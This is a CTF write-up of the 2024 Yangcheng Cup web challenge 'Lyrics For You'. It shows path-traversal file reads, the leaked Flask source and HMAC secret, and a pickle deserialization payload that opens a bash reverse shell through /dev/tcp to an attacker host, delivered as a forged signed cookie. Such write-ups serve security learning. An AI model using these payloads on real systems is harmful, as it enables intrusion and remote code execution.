【2024羊城杯】初赛WEB-Lyrics For You解题分享
初步分析,获取源码
靶机开启后只显示一个页面,页面有三个超链接,打开后url为https://ip:port/lyrics?lyrics=Rain.txt,初步推测为路径拼接文件读取,返回文件内容。
使用lyrics=/…/…/…/…/…/…/…/etc/passwd发现读取服务器用户信息成功,
改为lyrics=/…/…/…/…/…/…/…/proc/self/cmdline读取当前进程完整命令,
显示python -u /usr/etc/app/app.py,
访问lyrics=/…/…/…/…/…/…/…/usr/etc/app/app.py读取源码
-
app.py
import os import random from flask import Flask, make_response, request, render_template from config.secret_key import secret_code from cookie import set_cookie, cookie_check, get_cookie import pickle app = Flask(__name__) # 设置Flask应用的密钥,用于会话加密 app.secret_key = random.randbytes(16) class UserData: """用户数据类,存储用户名""" def __init__(self, username): self.username = username def Waf(data): """ Web应用防火墙函数,检查数据中是否包含黑名单中的敏感词汇 :param data: 待检测的数据 :return: 如果数据中包含敏感词则返回True,否则返回False """ blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen'] valid = False for word in blacklist: if word.lower() in data.lower(): valid = True break return valid @app.route("/", methods=['GET']) def index(): """ 处理首页请求,渲染index.html模板 :return: 渲染的HTML页面 """ return render_template('index.html') @app.route("/lyrics", methods=['GET']) def lyrics(): """ 处理歌词请求,根据请求参数返回指定歌词文件的内容 :return: 歌词文件内容或错误消息 """ resp = make_response() resp.headers["Content-Type"] = 'text/plain; charset=UTF-8' query = request.args.get("lyrics") path = os.path.join(os.getcwd() + "/lyrics", query) try: with open(path) as f: res = f.read() except Exception as e: return "No lyrics found" return res @app.route("/login", methods=['POST', 'GET']) def login(): """ 处理用户登录请求,如果是POST请求则设置用户cookie :return: 登录页面或设置cookie后的响应 """ if request.method == 'POST': username = request.form["username"] user = UserData(username) res = {"username": user.username} return set_cookie("user", res, secret=secret_code) return render_template('login.html') @app.route("/board", methods=['GET']) def board(): """ 处理留言板请求,根据用户cookie显示不同的页面 :return: 渲染的用户或管理员页面 """ invalid = cookie_check("user", secret=secret_code) if invalid: return "Nope, invalid code get out!" data = get_cookie("user", secret=secret_code) if isinstance(data, bytes): a = pickle.loads(data) data = str(data, encoding="utf-8") if "username" not in data: return render_template('user.html', name="guest") if data["username"] == "admin": return render_template('admin.html', name=data["username"]) if data["username"] != "admin": return render_template('user.html', name=data["username"]) if __name__ == "__main__": # 设置工作目录为当前文件所在的目录 os.chdir(os.path.dirname(__file__)) # 运行Flask应用 app.run(host="0.0.0.0", port=8080)
跟据import内容
读取cookie.py和secret_key
-
cookie.py
import base64 import hashlib import hmac import pickle from flask import make_response, request # Compatibility layer for Python 3 unicode = str basestring = str secret_code = "EnjoyThePlayTime123456" data= def cookie_encode(data, key): msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()) return tob('!') + sig + tob('?') + msg def cookie_decode(data, key): data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?'), 1) if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())): return pickle.loads(base64.b64decode(msg)) return None def waf(data): blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen'] valid = False for word in blacklist: if word in data: valid = True break return valid def cookie_check(key, secret=None): a = request.cookies.get(key) data = tob(request.cookies.get(key)) if data: if cookie_is_encoded(data): sig, msg = data.split(tob('?'), 1) if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())): res = base64.b64decode(msg) if waf(res): return True else: return False return True else: return False def tob(s, enc='utf8'): return s.encode(enc) if isinstance(s, unicode) else bytes(s) def get_cookie(key, default=None, secret=None): value = request.cookies.get(key) if secret and value: dec = cookie_decode(value, secret) return dec[1] if dec and dec[0] == key else default return value or default def cookie_is_encoded(data): return bool(data.startswith(tob('!')) and tob('?') in data) def _lscmp(a, b): return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b) def set_cookie(name, value, secret=None, **options): if secret: value = touni(cookie_encode((name, value), secret)) resp = make_response("success") resp.set_cookie("user", value, max_age=3600) return resp elif not isinstance(value, basestring): raise TypeError('Secret key missing for non-string Cookie.') if len(value) > 4096: raise ValueError('Cookie value too long.') def touni(s, enc='utf8', err='strict'): return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
-
secret_key
secret_code = "EnjoyThePlayTime123456"
源码分析
app.py
def Waf(data):
"""
Web应用防火墙函数,检查数据中是否包含黑名单中的敏感词汇
:param data: 待检测的数据
:return: 如果数据中包含敏感词则返回True,否则返回False
"""
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid
app.py莫名有个waf在这,肯定不是白放的
@app.route("/board", methods=['GET'])
def board():
"""
处理留言板请求,根据用户cookie显示不同的页面
:return: 渲染的用户或管理员页面
"""
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data) #**这里有pickle反序列化漏洞**
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])
if __name__ == "__main__":
# 设置工作目录为当前文件所在的目录
os.chdir(os.path.dirname(__file__))
# 运行Flask应用
app.run(host="0.0.0.0", port=8080)
接下来只要通过伪造session传递数据到pickle.loads(data),然后使用系统命令执行反弹shell
(S'bash -c "bash -i >& /dev/tcp/ip/4000 0>&1"'
ios
system
.
cookie.py
直接调用cookie_encode函数
data=('user',b'''(S'bash -c "bash -i >& /dev/tcp/ip/4000 0>&1"'
ios
system
.''')
print(cookie_encode(data, secret_code))
user=!fzBR6MTlPIgw1wjf8B3CXw==?gAWVSAAAAAAAAACMBHVzZXKUQzsoUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwLzQwMDAgMD4mMSInCmlvcwpzeXN0ZW0KLpSGlC4=
反弹shell
先访问/login,之后访问/board,
使用Burpsuite拦截,修改cookie为需要的内容
本地监听4000端口,反弹shell成功
初步尝试读取flag
cat /flag显示没有权限,提权也还没学会
ls后,发现根目录有/readflag文件
直接运行得到flag
总结
和去年的2023羊城杯的Serpent很像,思路也差不多,只是细节上不太一样,但是新人菜鸡做了快一天,这一天学的比一暑假都多(还被队友骂了
叠甲:新人CTFer第一次做这么复杂的题目,如果有错误麻烦各位师傅指出来,自己查到的相关资料放在最后了,感谢看到这里Ciallo~(∠・ω< )⌒☆